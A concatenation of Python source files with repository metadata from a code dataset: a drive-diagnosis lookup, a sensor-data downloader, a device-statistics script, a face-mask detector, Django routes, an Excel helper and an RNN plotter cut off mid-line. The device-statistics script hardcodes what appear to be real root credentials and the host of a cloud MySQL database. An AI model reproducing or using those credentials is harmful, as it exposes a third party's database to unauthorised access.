= None) -> str:\n    \"\"\"Determines the corresponding name to a provided icp_number, can be \n       determined either via a provided icp_map_file or \n       by the icp_map_file shipped with the package.\n\n    Parameters:\n        icp_number (int): ICP number whose name should be determined.\n        icp_map_file (str): Optional file name for icp_map. \n                                 By default installed icp_map file is used.\n    Returns:\n        value: Name of corresponding ICP\n    \"\"\"\n    icp_map = read_icp_map_file(icp_map_file)\n    if not icp_number in icp_map.keys():\n        Logging.logger.error(f'No entry for ICP {icp_number}')\n    return icp_map[icp_number].name\n\n\ndef diagnosis_remedy(icp_number: int, icp_map_file: str = None) -> list:\n    \"\"\"Determines the corresponding remedies to a provided icp_number, can be \n       determined either via a provided icp_map_file or \n       by the icp_map_file shipped with the package.\n\n    Parameters:\n        icp_number (int): ICP number whose remedy should be determined.\n        icp_map_file (str): Optional file name for icp_map. \n                                 By default installed icp_map file is used.\n    Returns:\n        value: List of str containing potential remedies for the corresponding ICP\n    \"\"\"\n    icp_map = read_icp_map_file(icp_map_file)\n    if not icp_number in icp_map.keys():\n        Logging.logger.error(f'No entry for ICP {icp_number}')\n    remedy_list = [x.strip('-')\n                   for x in icp_map[icp_number].remedy.split('\\n')]\n    return remedy_list\n", "repo_name": "Festo-se/festo-edcon", "sub_path": "src/edcon/edrive/diagnosis.py", "file_name": "diagnosis.py", "file_ext": "py", "file_size_in_byte": 2780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pathlib.PurePath", "line_number": 21, "usage_type": "call"}, {"api_name": "importlib.resources.files", "line_number": 21, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 24, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 26, "usage_type": "call"}, {"api_name": "functools.lru_cache", "line_number": 10, "usage_type": "name"}, {"api_name": "edcon.utils.logging.Logging.logger.error", "line_number": 46, "usage_type": "call"}, {"api_name": "edcon.utils.logging.Logging.logger", "line_number": 46, "usage_type": "attribute"}, {"api_name": "edcon.utils.logging.Logging", "line_number": 46, "usage_type": "name"}, {"api_name": "edcon.utils.logging.Logging.logger.error", "line_number": 64, "usage_type": "call"}, {"api_name": "edcon.utils.logging.Logging.logger", "line_number": 64, "usage_type": "attribute"}, {"api_name": "edcon.utils.logging.Logging", "line_number": 64, "usage_type": "name"}]}
{"seq_id": "72565764389", "text": "#!/usr/bin/env python\n# coding:utf-8\n\nimport json\nimport requests\nimport os\nimport threading\nimport time\nimport datetime\n'''\n使用最原始的60S下载接口\n此文件会使用多线程下载数据\n目前已被废弃\n'''\nToken = ''\n\nevery_hour_data = []\n\nclass DownloadDataFromVCloud:\n\n    def __init__(self,write_path,app_id,Universal_log):\n        self.write_path = write_path\n        self.app_id = app_id\n        self.Universal_log = Universal_log\n\n    def input_download_param(self,sn,total_start,total_end):\n        '''\n        返回下载时间段的所有数据\n        :param sn:\n        :param total_start:\n        :param total_end:\n        :return:\n        '''\n        every_hour_data = []\n        hour_time_slice = self.cut_time_slice(total_start,total_end,3600)\n\n        print(hour_time_slice)\n        all_data = []\n        for i in hour_time_slice:\n            data_part = self.start_multi_thread(sn, i[0], i[1])\n            if data_part is not None:\n                all_data += data_part\n\n        if len(all_data) == 0:\n            log_str = \"no data is downloaded\"\n            self.Universal_log(log_str)\n            return []\n        all_data.sort(key=lambda f: f[\"recordTime\"])\n\n        return all_data\n\n    def start_multi_thread(self,sn,start, end):\n        start_str = datetime.datetime.fromtimestamp(start / 1000).strftime('%Y-%m-%d %H:%M:%S')\n        end_str = datetime.datetime.fromtimestamp(end / 1000).strftime('%Y-%m-%d %H:%M:%S')\n        self.Universal_log('此轮下载的开始时间:'+start_str+'  结束时间'+end_str)\n\n        min_start = time.time()\n        threads = []\n        minute_time_slice = self.cut_time_slice(start,end,60)\n        for i in range(len(minute_time_slice)):\n            slice_start = minute_time_slice[i]\n            thread = UniversalThread(i, 'thread-1'+str(i),sn,slice_start[0],slice_start[1],self.app_id)\n            thread.start()\n            threads.append(thread)\n\n        for t in threads:\n            t.join()\n        global every_hour_data\n        self.Universal_log(f\"此轮的数据条数= {len(every_hour_data)}\")\n        universal_hour_data = every_hour_data\n        every_hour_data = []\n        universal_hour_data.sort(key=lambda f: f[\"recordTime\"])\n\n        if self.write_path != '':\n            snId = sn.replace(\".\", \"%2F\")\n            file_name = os.path.join(self.write_path, f\"{snId}_{start}_{end}.log\")\n            self.Universal_log('数据写入的文件名：'+file_name)\n            if os.path.exists(file_name):\n                self.Universal_log(f\"{file_name} exists, skip writing\")\n                with open(file_name) as input:\n                    return json.load(input)\n\n            with open(file_name, \"a+\") as output:\n                for line_dict in universal_hour_data:\n                    json.dump(line_dict, output)\n                    output.write('\\n')\n                output.close()\n\n        diff_time = time.time()-min_start\n        self.Universal_log(f'耗时{int(diff_time)}S  ,继续下一轮')\n        return universal_hour_data\n\n\n    def download_data_from_vcloud(self,sn, dl_start, dl_end):\n        type = \"TemperatureRaw\"\n        if sn.find('O2') >= 0:\n            type = \"SpO2Raw\"\n\n        query_param_dict = {\n            \"sensorid\": sn,\n            \"appId\": self.app_id,\n            'type': type,\n            \"start\": dl_start,\n            \"end\": dl_end,\n        }\n        base_url = \"https://zciwpugh35.execute-api.ap-south-1.amazonaws.com/test/eventList\"\n\n        try:\n            response = requests.get(base_url, params=query_param_dict)\n        except Exception as e:\n            print(e)\n\n        json_dict = json.loads(response.content)\n        json_data = json_dict[\"data\"]\n        if len(json_data) == 0:\n            return None\n        return json_data\n\n    def cut_time_slice(self,start, end,time):\n        time_slice = []\n        it = start\n        while it < end:\n            new_end = it + time * 1000 - 1\n            if end <= new_end:\n                time_slice.append((it, end))\n                break\n            else:\n                time_slice.append((it, new_end))\n                it = new_end + 1\n        return time_slice\n\n\n\nclass UniversalThread (threading.Thread):\n    def __init__(self, threadID, name,sn,start_time,end_time,appid):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.name = name\n        self.start_time = start_time\n        self.end_time = end_time\n        self.sn = sn\n        self.appid = appid\n\n\n    def run(self):\n        self.dl_UniversalData_from_vCloud_thread(self.sn,self.start_time,self.end_time)\n\n    def dl_UniversalData_from_vCloud_thread(self,sn, dl_start, dl_end):\n        type = \"TemperatureRaw\"\n        if sn.find('O2') >= 0:\n            type = \"SpO2Raw\"\n        elif sn.find('004D32') > 0:\n            type = \"BPRaw\"\n\n        query_param_dict = {\n            \"sensorid\": sn,\n            \"appId\": self.appid,\n            'type': type,\n            \"start\": dl_start,\n            \"end\": dl_end,\n        }\n        base_url = \"https://zciwpugh35.execute-api.ap-south-1.amazonaws.com/test/eventList\"\n        try:\n            response = requests.get(base_url, params=query_param_dict)\n            json_dict = json.loads(response.content)\n            json_data = json_dict[\"data\"]\n            if len(json_data) == 0:\n                return\n            print('start:' + str(dl_start) + '  ' + 'end:' + str(dl_end))\n            print(len(json_data))\n            for data_dict in json_data:\n                record_time = data_dict['recordTime']\n                ecg_json = data_dict['data']\n                ecg_json['recordTime'] = record_time\n                ecg_json['receiveTime'] = data_dict['receiveTime']\n                every_hour_data.append(ecg_json)\n        except Exception as e:\n            print(e)\n\n\n", "repo_name": "LonelyWise/VivaLNKTool", "sub_path": "Vivalnk/network/Download_Universal.py", "file_name": "Download_Universal.py", "file_ext": "py", "file_size_in_byte": 5810, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "datetime.datetime.fromtimestamp", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 81, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 85, "usage_type": "call"}, {"api_name": "time.time", "line_number": 89, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 109, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 113, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 134, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 136, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 136, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 164, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 165, "usage_type": "call"}]}
{"seq_id": "2506713369", "text": "# -*- coding: utf-8 -*-\nimport logging\nimport pymysql\nfrom openpyxl import load_workbook, Workbook\nimport time\nimport os\n\nlogging.basicConfig(format=\"%(asctime)s %(levelname)s %(message)s\", level=logging.INFO)\n\n\nconnection = pymysql.connect(host=\"hk-cdb-aumsfh1d.sql.tencentcdb.com\", user=\"root\", password=\"wvqhthpbd!Wv$da4\", port=63734, db=\"db_yy\")\n\n\ndef getData(start, aid=False):\n    try:\n        with connection.cursor() as cur:\n            stop = start + 86400\n            if not aid:\n                sql = f\"select dev_info from t_user where os='android' and regtime >= {start} and regtime <= {stop};\"\n            else:\n                sql = f\"select dev_info from t_user where os='android' and aid={aid} and regtime >= {start} and regtime <= {stop};\"\n            cur.execute(sql)\n            res = cur.fetchall()\n            logging.info(res)\n            if not os.path.exists('统计.xlsx'):\n                wb = Workbook()\n            else:\n                wb = load_workbook('统计.xlsx')\n            ws = wb.active\n            daytime = time.strftime(\"%Y-%m-%d\", time.localtime(start + (4 * 3600)))\n            ws1 = wb.create_sheet(daytime)\n            pinpai = {}\n            version = {}\n            model = {}\n            ws1[\"A1\"] = '手机品牌'\n            ws1[\"B1\"] = '数量'\n            ws1[\"C1\"] = '占比'\n            ws1[\"E1\"] = '系统版本'\n            ws1[\"F1\"] = '数量'\n            ws1[\"G1\"] = '占比'\n            ws1[\"I1\"] = '品牌机型'\n            ws1[\"J1\"] = '数量'\n            ws1[\"K1\"] = '占比'\n            for data in res:\n                device = eval(data[0])\n                logging.info(device)\n                if device['brand'].lower() in pinpai.keys():\n                    pinpai[f\"{device['brand'].lower()}\"] = pinpai[f\"{device['brand'].lower()}\"] + 1\n                else:\n                    pinpai[f\"{device['brand'].lower()}\"] = 1\n                if device['version'].lower() in version.keys():\n                    version[f\"{device['version'].lower()}\"] = version[f\"{device['version'].lower()}\"] + 1\n                else:\n                    version[f\"{device['version'].lower()}\"] = 1\n                if device['model'].lower() in model.keys():\n                    model[f\"{device['model'].lower()}\"] = model[f\"{device['model'].lower()}\"] + 1\n                else:\n                    model[f\"{device['model'].lower()}\"] = 1\n            pinpai_col = 1\n            version_col = 1\n            model_col = 1\n            pinpai_total = sum(pinpai.values())\n            version_total = sum(version.values())\n            model_total = sum(model.values())\n            pinpai = sorted(pinpai.items(), key=lambda x: x[1], reverse=True)\n            version = sorted(version.items(), key=lambda x: x[1], reverse=True)\n            model = sorted(model.items(), key=lambda x: x[1], reverse=True)\n            for d in pinpai:\n                ws1[f\"A{pinpai_col+1}\"] = d[0]\n                ws1[f\"B{pinpai_col+1}\"] = d[1]\n                ws1[f\"C{pinpai_col+1}\"] = f\"{'%.2f' % (int(d[1]) / pinpai_total * 100)}%\"\n                pinpai_col += 1\n            for d in version:\n                ws1[f\"E{version_col + 1}\"] = d[0]\n                ws1[f\"F{version_col + 1}\"] = d[1]\n                ws1[f\"G{version_col + 1}\"] = f\"{'%.2f' % (int(d[1]) / version_total * 100)}%\"\n                version_col += 1\n            for d in model:\n                ws1[f\"I{model_col + 1}\"] = d[0]\n                ws1[f\"J{model_col + 1}\"] = d[1]\n                ws1[f\"K{model_col + 1}\"] = f\"{'%.2f' % (int(d[1]) / model_total * 100)}%\"\n                model_col += 1\n            wb.save('统计.xlsx')\n            wb.close()\n    except Exception as e:\n        logging.error(e)\n\n\nstartData = 1627574400\nfor d in range(5):\n    logging.info(f'统计日期 {time.strftime(\"%Y-%m-%d\", time.localtime(startData + (4 * 3600)))}')\n    getData(startData, aid=265)\n    startData += 86400\n\n", "repo_name": "imvg/20211007", "sub_path": "机型匹配/手机上报.py", "file_name": "手机上报.py", "file_ext": "py", "file_size_in_byte": 3904, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.basicConfig", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pymysql.connect", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "openpyxl.Workbook", "line_number": 26, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 28, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 30, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 86, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 91, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 91, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "2350281710", "text": "import cv2\nimport os\nimport glob\nimport numpy\nimport tensorflow\n\n\nIMAGES_TO_EXAMINE_FOLDER_PATH = r'images-to-examine/'\nMARKED_IMAGES_FOLDER_PATH = r'marked-images/'\nCLASSIFIER_PATH = r'classifier-simplified.h5'\nIMAGE_SIZE = (24, 22)\nDETECTOR_SCALE_FACTOR = 1.2\nDETECTOR_MIN_NEIGHBORS = 5\n\n\n# test function used to calibrate classifier\ndef show_image_with_indications():\n\timage = cv2.imread(MARKED_IMAGES_FOLDER_PATH + 'test1.jpg')\n\tclassifier = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n\n\tboxes = classifier.detectMultiScale(image, DETECTOR_SCALE_FACTOR, DETECTOR_MIN_NEIGHBORS)\n\tfor box in boxes:\n\t\tx, y, width, height = box\n\t\tx2, y2 = x + width, y + height\n\t\tcv2.rectangle(image, (x, y), (x2, y2), (0,0,255), 1)\n\n\tcv2.imshow('TEST', image)\n\tcv2.waitKey(0)\n\tcv2.destroyAllWindows()\n\n\ndef clear_marked_images_folder():\n\tfiles = glob.glob(MARKED_IMAGES_FOLDER_PATH + '*.jpg')\n\tfiles.append\n\tfor f in files:\n         os.remove(f)\n\n\ndef resize_image(image: any, x: int, x2: int, y: int, y2: int):\n\tspread = 0\n\tcropped_image = image[y - spread : y2 + spread, x - spread : x2 + spread]\n\n\treturn cv2.resize(cropped_image, IMAGE_SIZE, interpolation = cv2.INTER_AREA).reshape(1, 24, 22, 3)\n\n\ndef examine_image(image_name: str, image_path: str, model):\n\timage = cv2.imread(image_path)\n\n\tcascade_classifier = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n\n\t# get boxes containing faces\n\tboxes = cascade_classifier.detectMultiScale(image, DETECTOR_SCALE_FACTOR, DETECTOR_MIN_NEIGHBORS)\n\n\tfor box in boxes:\n\t\tx, y, width, height = box\n\t\tx2, y2 = x + width, y + height\n\n\t\t# get image fragment containing face in appropriate shape\n\t\tface_fragment = resize_image(cv2.cvtColor(image, cv2.COLOR_BGR2RGB), x, x2, y, y2)\n\n\t\t# 0 - with, 1 - without\n\t\tpred = model.predict(face_fragment, verbose=0)\n\n\t\tcolor = (0,255,0)\n\t\tif numpy.argmax(pred, axis=1)[0] == 1:\n\t\t\tcolor = (0,0,255)\n\n\t\tcv2.rectangle(image, (x, y), (x2, y2), color, 5)\n\n\t# copy image to marked-images folde\n\tos.chdir(MARKED_IMAGES_FOLDER_PATH)\n\tcv2.imwrite('marked-' + image_name, image)\n\tos.chdir('..')\n\n\ndef main():\n\tclear_marked_images_folder()\n\n\t# get images to examine\n\timages_names = list(filter(lambda k: 'jpg' in k, os.listdir(IMAGES_TO_EXAMINE_FOLDER_PATH)))\n\timages_paths = [IMAGES_TO_EXAMINE_FOLDER_PATH + path for path in images_names]\n\t\n\t# load classifier\n\tmodel = tensorflow.keras.models.load_model(CLASSIFIER_PATH)\n\n\tfor name, path in zip(images_names, images_paths):\n\t\texamine_image(name, path, model)\n\n\n\n\n# ==========================================================================================================\n\n\n\n\nmain()\n", "repo_name": "smutkiewicz/face-mask-detection", "sub_path": "detector/face-detector.py", "file_name": "face-detector.py", "file_ext": "py", "file_size_in_byte": 2669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.imread", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.data", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 29, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 33, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.CascadeClassifier", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.data", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 59, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 68, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 71, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 72, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 73, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 84, "usage_type": "attribute"}]}
{"seq_id": "74120475749", "text": "from django.conf.urls import url,include\nfrom django.urls import path\nimport django.contrib.auth.views\nfrom . import views\nfrom .models import CS096\nfrom rest_framework import routers\n\nrouter = routers.DefaultRouter()\nrouter.register(r'product', views.ProductViewSet)\n\n\n\nurlpatterns = [\n\n        path('', views.CS096ListView.as_view(), name='entry_list'),\n        path('add/', views.CS096CreateView.as_view(), name='entry_add'),\n        path('user//', views.AddUserView.as_view(), name='user_add'),\n        path('details//',views.CS096UpdateView.as_view(), name='entry_update'),\n        path('ajax/load-protocols/', views.load_protocols, name='ajax_load_protocols'),\n        path('delete//',views.CS096DeleteView.as_view(), name='entry_delete'),\n        url(r'^', include(router.urls)),\n        url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n        path('user_details//', views.CS096UpdateUserView.as_view(), name='user_update'),\n        path('user_delete//', views.CS096DeleteUserView.as_view(), name='user_delete'),\n\n]", "repo_name": "hopkinss/access_request_tracker", "sub_path": "trackapp/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1094, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.routers.DefaultRouter", "line_number": 8, "usage_type": "call"}, {"api_name": "rest_framework.routers", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}]}
{"seq_id": "33464392665", "text": "from openpyxl import load_workbook\nimport os.path\nfrom openpyxl.styles import NamedStyle, Font, colors\nfrom ProjVar.var import *\nfrom Util.fromattime import *\n\n\nclass Excel:\n    def __init__(self, excel_file_path):\n        self.sheet = None\n        self.column_num = None\n        self.row_num = None\n        if os.path.exists(excel_file_path):\n            self.excel_file_path = excel_file_path\n            self.wb = load_workbook(self.excel_file_path)\n        else:\n            print(\"%s e文件的路劲不存在，请重新设定！\" % excel_file_path)\n\n    # 通过sheet名字来获取操作的sheet\n    def set_sheet_by_name(self, sheet_name):\n        if sheet_name in self.wb.sheetnames:\n            self.sheet = self.wb[sheet_name]\n        else:\n            print(\"%s sheet不存在，请重新指定！\" % sheet_name)\n\n    # 通过序号来获取操作的sheet\n    def set_sheet_by_index(self, index):\n        if isinstance(index, int) and 1 <= index <= len(self.get_all_sheet_names()):\n            sheet_name = self.get_all_sheet_names()[index - 1]\n            self.sheet = self.wb[sheet_name]\n        else:\n            print(\"%s sheet 序号不存在，请重新设定\" % index)\n\n    # 获取当前sheet和title的名称\n    def get_current_sheet_name(self):\n        return self.sheet.title\n\n    # 获取所有sheet的名称\n    def get_all_sheet_names(self):\n        return self.wb.sheetnames\n\n    # 获取sheet的总行数，从0开始，返回list\n    def get_rows_object(self):\n        return list(self.sheet.rows)\n\n    # 获取sheet的总列数，从0开始，返回list\n    def get_cols_object(self):\n        return list(self.sheet.columns)\n\n    # 获取某行的对象，第一行从0开始\n    def get_row(self, row_no):\n        return self.get_rows_object()[row_no]\n\n    def get_excel_value_list(self, row_no):\n        row = self.get_row(row_no)\n        row_value_dic = {}\n        if self.column_num:\n            for i in range(self.column_num):\n                row_value_dic[row[i].value]=i\n        return row_value_dic\n\n    # 获取某一列对象，第一列从0开始\n    def get_col(self, col_no):\n        return self.get_cols_object()[col_no]\n\n    # 获取某个单元格对象\n    def get_cell_value(self, row_no, col_no):\n        if isinstance(row_no, int) and isinstance(col_no, int) and \\\n                1 <= row_no <= len(self.get_rows_object()) and \\\n                1 <= row_no <= len(self.get_cols_object()):\n            return self.sheet.cell(row=row_no, column=col_no).value\n        else:\n            print(\"%s,%s 行号或者列号不存在，请重新设定行号或者列表读取！\" % (row_no, col_no))\n\n    # 给某一个单元格写入指定内容，行号、列号从1开始\n    # 调用此方法时，excel不要处于打开状态\n    def write_cell_value(self, row_no, col_no, value, color=None):\n        if isinstance(row_no, int) and isinstance(col_no, int):\n            if color is None:\n                font = Font(bold=False, size=10, color=colors.BLACK)\n                self.sheet.cell(row=row_no, column=col_no).font = font\n                self.sheet.cell(row=row_no, column=col_no).value = value\n            elif color == \"green\":\n                font = Font(bold=True, size=13, color=colors.GREEN)\n                self.sheet.cell(row=row_no, column=col_no).font = font\n                self.sheet.cell(row=row_no, column=col_no).value = value\n            elif color == \"red\":\n                font = Font(bold=True, size=13, color=colors.RED)\n                self.sheet.cell(row=row_no, column=col_no).font = font\n                self.sheet.cell(row=row_no, column=col_no).value = value\n            self.wb.save(self.excel_file_path)\n        else:\n            print(\"%s,%s 行号或者列号不是数字，请重新设定行号或者列表读取！\" % (row_no, col_no))\n\n    def write_current_time(self, row_no, col_no):\n        if isinstance(row_no, int) and isinstance(col_no, int):\n            self.sheet.cell(row=row_no, column=col_no).value = get_current_date_and_time()\n            self.wb.save(self.excel_file_path)\n\n\nif __name__ == \"__main__\":\n    pass", "repo_name": "gaicommon/autowork", "sub_path": "Util/excel.py", "file_name": "excel.py", "file_ext": "py", "file_size_in_byte": 4113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 13, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 15, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 80, "usage_type": "call"}, {"api_name": "openpyxl.styles.colors.BLACK", "line_number": 80, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.colors", "line_number": 80, "usage_type": "name"}, {"api_name": "openpyxl.styles.Font", "line_number": 84, "usage_type": "call"}, {"api_name": "openpyxl.styles.colors.GREEN", "line_number": 84, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.colors", "line_number": 84, "usage_type": "name"}, {"api_name": "openpyxl.styles.Font", "line_number": 88, "usage_type": "call"}, {"api_name": "openpyxl.styles.colors.RED", "line_number": 88, "usage_type": "attribute"}, {"api_name": "openpyxl.styles.colors", "line_number": 88, "usage_type": "name"}]}
{"seq_id": "10441748003", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 21 14:52:12 2015\n\n@author: Ilia\n\"\"\"\n\nfrom matplotlib import pyplot as plt, gridspec\nimport numpy as np\n\nclass _Direction(object):\n    horizontal = 'H'\n    vertical = 'V'\n    transposed = 'T'\n    normal = 'N'\n\nclass _Plottable(object):\n    def __init__(self,value,direction,use_clim=None):\n        if ( len(value.shape)==2 ):\n            if direction == _Direction.transposed:\n                self.value = value.transpose()\n            else:\n                self.value = np.copy(value)\n        else:\n            n = value.shape[0]\n            if direction == _Direction.horizontal:\n                self.value = value.reshape((1,n))\n            else:\n                self.value = value.reshape((n,1))\n        self.use_clim = use_clim\n    def MakeIMShow(self,a,clim_override=None,*additional_args,**additional_kwargs):\n        if ( not clim_override is None):\n            clim = clim_override\n        else:\n            clim = self.use_clim\n        if ( not clim is None ):\n            additional_kwargs['clim'] = clim\n        I = a.imshow(self.value,interpolation='none',*additional_args,**additional_kwargs)\n        return I\n\nclass RTRL_Plotter_base(object):\n    def __init__(self):\n        self.is_active=False\n        self.connected_fig_events = []\n    def isActive(self):\n        return self.is_active\n    def RetrieveState(self,rnn):\n        pass\n    def CreateAxes(self,fig=None):\n        if fig is None:\n            fig = plt.figure()\n#        plt.figure(fig)\n        axes_positions = self._GetAxesPositions()\n        axeses={}\n        for name in axes_positions.iterkeys():\n            a = fig.add_subplot(axes_positions[name])\n            a.set_title(name)\n            a.set_xticks([])\n            a.set_yticks([])\n            axeses[name] = a\n        \n        self.axeses = axeses\n        self.axes_positions = axes_positions\n        self.fig = fig\n        self.ConnectCloseEvent(self.OnFigClose)\n    def CreateImages(self):\n        self.images={}\n        for k,a in self.axeses.iteritems():\n            I = self.state[k].MakeIMShow(a)\n#            I.set_clim(self.weight_clim)\n            self.images[k] = I\n        self.is_active = True\n    def UpdateImages(self,make_redraw=True):\n        for k,a in self.axeses.iteritems():\n            self.images[k].set_data(self.state[k].value)\n        if make_redraw:\n            self.fig.canvas.draw_idle()\n#        plt.draw()\n    def CloseFig(self):\n        if ( not self.fig is None ):\n            for cid in self.connected_fig_events:\n                self.fig.canvas.mpl_disconnect(cid)\n            plt.close(self.fig)\n            self.is_active = False\n    def OnFigClose(self,evt):\n        self.is_active = False\n        self.fig = None\n    def GetFig(self):\n        return self.fig\n    def ConnectCloseEvent(self,handler):\n        if ( not self.fig is None ):\n            cid = self.fig.canvas.mpl_connect('close_event', handler)\n            self.connected_fig_events.append(cid)\n\n\nclass RTRL_Weight_Plotter(RTRL_Plotter_base):\n    def __init__(self,weight_clim=None):\n        super(RTRL_Weight_Plotter,self).__init__()\n        if weight_clim is None:\n            weight_clim = np.array([-1.0,1.0])\n        elif isinstance(weight_clim,list):\n            weight_clim = np.array(weight_clim)\n        self.weight_clim = weight_clim\n        self.excitation_clim = np.array([-1.,1.])\n    def RetrieveState(self,rnn):\n        state = rnn.GetState()\n        S = {}\n        S['nx'] = state['nx']\n        S['nu'] = rnn.nu\n        S['ny'] = rnn.ny\n        S['x_t'] = _Plottable(rnn.GetCurrentX(),_Direction.vertical,self.excitation_clim)\n        S['u_t'] = _Plottable(rnn.GetCurrentU(),_Direction.vertical,self.excitation_clim)\n        S['y_tp1'] = _Plottable(rnn.Get_Y_Prediction(),_Direction.horizontal,[0.0,1.0])\n        S['x_tp1'] = _Plottable(rnn.GetNextX(),_Direction.vertical,self.excitation_clim)\n        S['W_xx'] = _Plottable(state['W_xx'],_Direction.normal,self.weight_clim)\n        S['W_xu'] = _Plottable(state['W_xu'],_Direction.normal,self.weight_clim)\n        S['W_yx'] = _Plottable(state['W_yx'],_Direction.normal,self.weight_clim)\n        S['b_x'] = _Plottable(state['b_x'],_Direction.horizontal,self.weight_clim)\n        S['b_y'] = _Plottable(state['b_y'],_Direction.horizontal,self.weight_clim)\n        \n        self.state = S\n    def _GetAxesPositions(self):\n        state = self.state\n        temp = max([state['nu'],3])\n        gs = gridspec.GridSpec(1 + state['nx'] + temp + 2, state['nx']+2+state['ny']*2 + 2)\n        \n        axes_positions = {}\n        axes_positions['W_xx'] = gs[2:(state['nx']+2),\n                                            2:(state['nx']+2)]\n        axes_positions['W_xu'] = gs[(state['nx']+3):(state['nx']+3+state['nu']),\n                                                    2:(state['nx']+2)]\n        axes_positions['x_t'] = gs[2:(state['nx']+2),\n                                                0]\n        axes_positions['b_x'] = gs[0,\n                                